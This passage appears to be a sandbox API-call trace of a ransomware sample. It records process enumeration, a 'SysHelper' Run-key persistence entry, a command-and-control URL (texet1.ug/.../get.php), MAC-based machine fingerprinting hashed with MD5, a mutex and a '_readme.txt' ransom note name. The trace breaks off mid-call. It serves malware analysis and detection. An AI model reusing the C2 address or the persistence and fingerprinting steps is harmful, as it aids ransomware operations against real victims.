hProcess=0x5a0, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0121.698] CloseHandle (hObject=0x5a0) returned 1 [0121.698] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x450) returned 0x0 [0121.698] CloseHandle (hObject=0x0) returned 0 [0121.698] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d8) returned 0x5a0 [0121.698] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0121.699] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x400000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="zxkgxn.exe") returned 0xa [0121.699] CloseHandle (hObject=0x5a0) returned 1 [0121.699] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x510) returned 0x0 [0121.699] CloseHandle (hObject=0x0) returned 0 [0121.699] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x548) returned 0x5a0 [0121.699] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0121.699] CloseHandle (hObject=0x5a0) returned 1 [0121.699] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x558) returned 0x0 [0121.700] CloseHandle (hObject=0x0) returned 0 [0121.700] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x580) returned 0x5a0 [0121.700] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0121.701] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x400000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0121.701] CloseHandle (hObject=0x5a0) returned 1 [0121.701] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13c) returned 0x5a0 [0121.701] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0121.701] CloseHandle (hObject=0x5a0) returned 1 [0121.701] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0x5a0 [0121.701] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0121.701] CloseHandle (hObject=0x5a0) returned 1 [0121.701] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x5a0 [0121.701] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0121.701] CloseHandle (hObject=0x5a0) returned 1 [0121.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x28) returned 0x6747d0 [0121.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x30427d0 [0121.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304c668 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305dc78 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305dee0 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305e148 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305e3b0 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305e618 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305e880 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305eae8 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305ed50 [0121.702] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c750 | out: phkResult=0x18c750*=0x5a0) returned 0x0 [0121.702] RegQueryValueExW (in: hKey=0x5a0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18c74c, lpData=0x18ae78, lpcbData=0x18c730*=0x400 | out: lpType=0x18c74c*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart", lpcbData=0x18c730*=0xd4) returned 0x0 [0121.702] RegCloseKey (hKey=0x5a0) returned 0x0 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe0) returned 0x3071a88 [0121.702] lstrlenA (lpString="\" --AutoStart") returned 13 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020750 [0121.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3071a88 | out: hHeap=0x5c0000) returned 1 [0121.702] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe") returned 1 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020818 [0121.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020750 | out: hHeap=0x5c0000) returned 1 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x28) returned 0x3074900 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305efb8 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305f220 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305f488 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x305f6f0 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3054a30 [0121.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3054c98 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304ca48 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304ccb0 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304cf18 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304d180 [0121.703] lstrlenA (lpString="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned 63 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x69f310 [0121.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305efb8, cbMultiByte=-1, lpWideCharStr=0x69f310, cchWideChar=64 | out: lpWideCharStr="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned 64 [0121.703] lstrcatW (in: lpString1="", lpString2="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" [0121.703] lstrlenA (lpString="") returned 0 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0x2fecb90 [0121.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305f220, cbMultiByte=-1, lpWideCharStr=0x2fecb90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.703] lstrcatW (in: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" [0121.703] lstrlenA (lpString="") returned 0 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0x2fecb80 [0121.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305f488, cbMultiByte=-1, lpWideCharStr=0x2fecb80, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.703] lstrcatW (in: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" [0121.703] lstrlenA (lpString="") returned 0 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0x2fecba0 [0121.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305f6f0, cbMultiByte=-1, lpWideCharStr=0x2fecba0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.703] lstrcatW (in: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" [0121.703] lstrlenA (lpString="") returned 0 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0x2fecbb0 [0121.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3054a30, cbMultiByte=-1, lpWideCharStr=0x2fecbb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.703] lstrcatW (in: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" [0121.703] lstrlenA (lpString="") returned 0 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0x2fecc40 [0121.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3054c98, cbMultiByte=-1, lpWideCharStr=0x2fecc40, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.703] lstrcatW (in: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" [0121.703] lstrlenA (lpString="") returned 0 [0121.703] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0x2fecc20 [0121.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x304ca48, cbMultiByte=-1, lpWideCharStr=0x2fecc20, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.703] lstrcatW (in: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" [0121.703] lstrlenA (lpString="") returned 0 [0121.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0x2fecbe0 [0121.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x304ccb0, cbMultiByte=-1, lpWideCharStr=0x2fecbe0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.704] lstrcatW (in: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" [0121.704] lstrlenA (lpString="") returned 0 [0121.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0x2fecbd0 [0121.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x304cf18, cbMultiByte=-1, lpWideCharStr=0x2fecbd0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.704] lstrcatW (in: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" [0121.704] lstrlenA (lpString="") returned 0 [0121.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0x2fecbf0 [0121.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x304d180, cbMultiByte=-1, lpWideCharStr=0x2fecbf0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.704] lstrcatW (in: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php" [0121.704] lstrlenW (lpString="") returned 0 [0121.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12) returned 0x6a1f68 [0121.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x288) returned 0x3054f00 [0121.704] GetAdaptersInfo (in: AdapterInfo=0x3054f00, SizePointer=0x18c714 | out: AdapterInfo=0x3054f00, SizePointer=0x18c714) returned 0x0 [0121.733] GetAdaptersInfo (in: AdapterInfo=0x3054f00, SizePointer=0x18c714 | out: AdapterInfo=0x3054f00, SizePointer=0x18c714) returned 0x0 [0121.741] GetLastError () returned 0x0 [0121.741] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x308ff68 [0121.741] GetLastError () returned 0x0 [0121.741] GetLastError () returned 0x0 [0121.748] CryptAcquireContextW (in: phProv=0x18c6e4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c6e4*=0x69fe38) returned 1 [0121.749] CryptCreateHash (in: hProv=0x69fe38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18c6ec | out: phHash=0x18c6ec) returned 1 [0121.749] CryptHashData (hHash=0x677fb8, pbData=0x3040428, dwDataLen=0x11, dwFlags=0x0) returned 1 [0121.749] CryptGetHashParam (in: hHash=0x677fb8, dwParam=0x2, pbData=0x0, pdwDataLen=0x18c6e8, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18c6e8) returned 1 [0121.749] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x6a2708 [0121.749] CryptGetHashParam (in: hHash=0x677fb8, dwParam=0x2, pbData=0x6a2708, pdwDataLen=0x18c6e8, dwFlags=0x0 | out: pbData=0x6a2708, pdwDataLen=0x18c6e8) returned 1 [0121.749] GetLastError () returned 0x0 [0121.749] CryptDestroyHash (hHash=0x677fb8) returned 1 [0121.749] CryptReleaseContext (hProv=0x69fe38, dwFlags=0x0) returned 1 [0121.749] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3040428 | out: hHeap=0x5c0000) returned 1 [0121.749] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037c88 [0121.749] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b6418 | out: hHeap=0x5c0000) returned 1 [0121.749] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x678f70 | out: hHeap=0x5c0000) returned 1 [0121.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0x60c) returned 0x5ac [0121.985] WaitForSingleObject (hHandle=0x5ac, dwMilliseconds=0xffffffff) returned 0x0 [0122.828] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5bc [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x28) returned 0x3074600 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304d3e8 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304d650 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304d8b8 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304db20 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304dd88 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304dff0 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304e258 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304e4c0 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304e728 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304e990 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ec88 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x6b90c0 [0122.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX", cchWideChar=-1, lpMultiByteStr=0x6b90c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX", lpUsedDefaultChar=0x0) returned 41 [0122.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x6ba4b0 [0122.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b90c0 | out: hHeap=0x5c0000) returned 1 [0122.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ec88 | out: hHeap=0x5c0000) returned 1 [0122.828] CryptAcquireContextW (in: phProv=0x18c754, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c754*=0x69fec0) returned 1 [0122.829] CryptCreateHash (in: hProv=0x69fec0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18c758 | out: phHash=0x18c758) returned 1 [0122.830] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX") returned 40 [0122.830] CryptHashData (hHash=0x306c820, pbData=0x6ba4b0, dwDataLen=0x28, dwFlags=0x0) returned 1 [0122.830] CryptGetHashParam (in: hHash=0x306c820, dwParam=0x2, pbData=0x0, pdwDataLen=0x18c75c, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18c75c) returned 1 [0122.830] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x6a2708 [0122.830] CryptGetHashParam (in: hHash=0x306c820, dwParam=0x2, pbData=0x6a2708, pdwDataLen=0x18c75c, dwFlags=0x0 | out: pbData=0x6a2708, pdwDataLen=0x18c75c) returned 1 [0122.830] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x34) returned 0x306c7a0 [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="", lpString2="CC" | out: lpString1="CC") returned="CC" [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="CC", lpString2="DB" | out: lpString1="CCDB") returned="CCDB" [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="CCDB", lpString2="F2" | out: lpString1="CCDBF2") returned="CCDBF2" [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="CCDBF2", lpString2="A5" | out: lpString1="CCDBF2A5") returned="CCDBF2A5" [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="CCDBF2A5", lpString2="8C" | out: lpString1="CCDBF2A58C") returned="CCDBF2A58C" [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="CCDBF2A58C", lpString2="5E" | out: lpString1="CCDBF2A58C5E") returned="CCDBF2A58C5E" [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="CCDBF2A58C5E", lpString2="4D" | out: lpString1="CCDBF2A58C5E4D") returned="CCDBF2A58C5E4D" [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="CCDBF2A58C5E4D", lpString2="B4" | out: lpString1="CCDBF2A58C5E4DB4") returned="CCDBF2A58C5E4DB4" [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="CCDBF2A58C5E4DB4", lpString2="27" | out: lpString1="CCDBF2A58C5E4DB427") returned="CCDBF2A58C5E4DB427" [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="CCDBF2A58C5E4DB427", lpString2="C4" | out: lpString1="CCDBF2A58C5E4DB427C4") returned="CCDBF2A58C5E4DB427C4" [0122.830] GetLastError () returned 0x0 [0122.830] lstrcatA (in: lpString1="CCDBF2A58C5E4DB427C4", lpString2="00" | out: lpString1="CCDBF2A58C5E4DB427C400") returned="CCDBF2A58C5E4DB427C400" [0122.830] GetLastError () returned 0x0 [0122.831] lstrcatA (in: lpString1="CCDBF2A58C5E4DB427C400", lpString2="D3" | out: lpString1="CCDBF2A58C5E4DB427C400D3") returned="CCDBF2A58C5E4DB427C400D3" [0122.831] GetLastError () returned 0x0 [0122.831] lstrcatA (in: lpString1="CCDBF2A58C5E4DB427C400D3", lpString2="A3" | out: lpString1="CCDBF2A58C5E4DB427C400D3A3") returned="CCDBF2A58C5E4DB427C400D3A3" [0122.831] GetLastError () returned 0x0 [0122.831] lstrcatA (in: lpString1="CCDBF2A58C5E4DB427C400D3A3", lpString2="A0" | out: lpString1="CCDBF2A58C5E4DB427C400D3A3A0") returned="CCDBF2A58C5E4DB427C400D3A3A0" [0122.831] GetLastError () returned 0x0 [0122.831] lstrcatA (in: lpString1="CCDBF2A58C5E4DB427C400D3A3A0", lpString2="68" | out: lpString1="CCDBF2A58C5E4DB427C400D3A3A068") returned="CCDBF2A58C5E4DB427C400D3A3A068" [0122.831] GetLastError () returned 0x0 [0122.831] lstrcatA (in: lpString1="CCDBF2A58C5E4DB427C400D3A3A068", lpString2="E9" | out: lpString1="CCDBF2A58C5E4DB427C400D3A3A068E9") returned="CCDBF2A58C5E4DB427C400D3A3A068E9" [0122.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a2708 | out: hHeap=0x5c0000) returned 1 [0122.831] CryptDestroyHash (hHash=0x306c820) returned 1 [0122.831] CryptReleaseContext (hProv=0x69fec0, dwFlags=0x0) returned 1 [0122.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ba4b0 | out: hHeap=0x5c0000) returned 1 [0122.831] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ec88 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x28) returned 0x3074780 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304ebf8 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304ee60 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304f0c8 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304f330 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304f598 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304f800 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304fa68 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304fcd0 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x304ff38 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x30501a0 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x816) returned 0x3090f70 [0122.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c760, cbMultiByte=-1, lpWideCharStr=0x3090f70, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x3091790 [0122.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3090f70 | out: hHeap=0x5c0000) returned 1 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x28) returned 0x30747b0 [0122.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3050408 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3050670 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3064fd8 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3065240 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x30654a8 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3065710 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3065978 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3065be0 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3065e48 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x30660b0 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x130) returned 0x2f77e68 [0122.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1d0) returned 0x30411a8 [0122.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f77e68 | out: hHeap=0x5c0000) returned 1 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2b7) returned 0x6aed28 [0122.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30411a8 | out: hHeap=0x5c0000) returned 1 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x412) returned 0x6b90c0 [0122.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aed28 | out: hHeap=0x5c0000) returned 1 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x61a) returned 0x6ba4b0 [0122.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b90c0 | out: hHeap=0x5c0000) returned 1 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x460) returned 0x6b90c0 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10b4) returned 0x3054f00 [0122.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b90c0, cbMultiByte=-1, 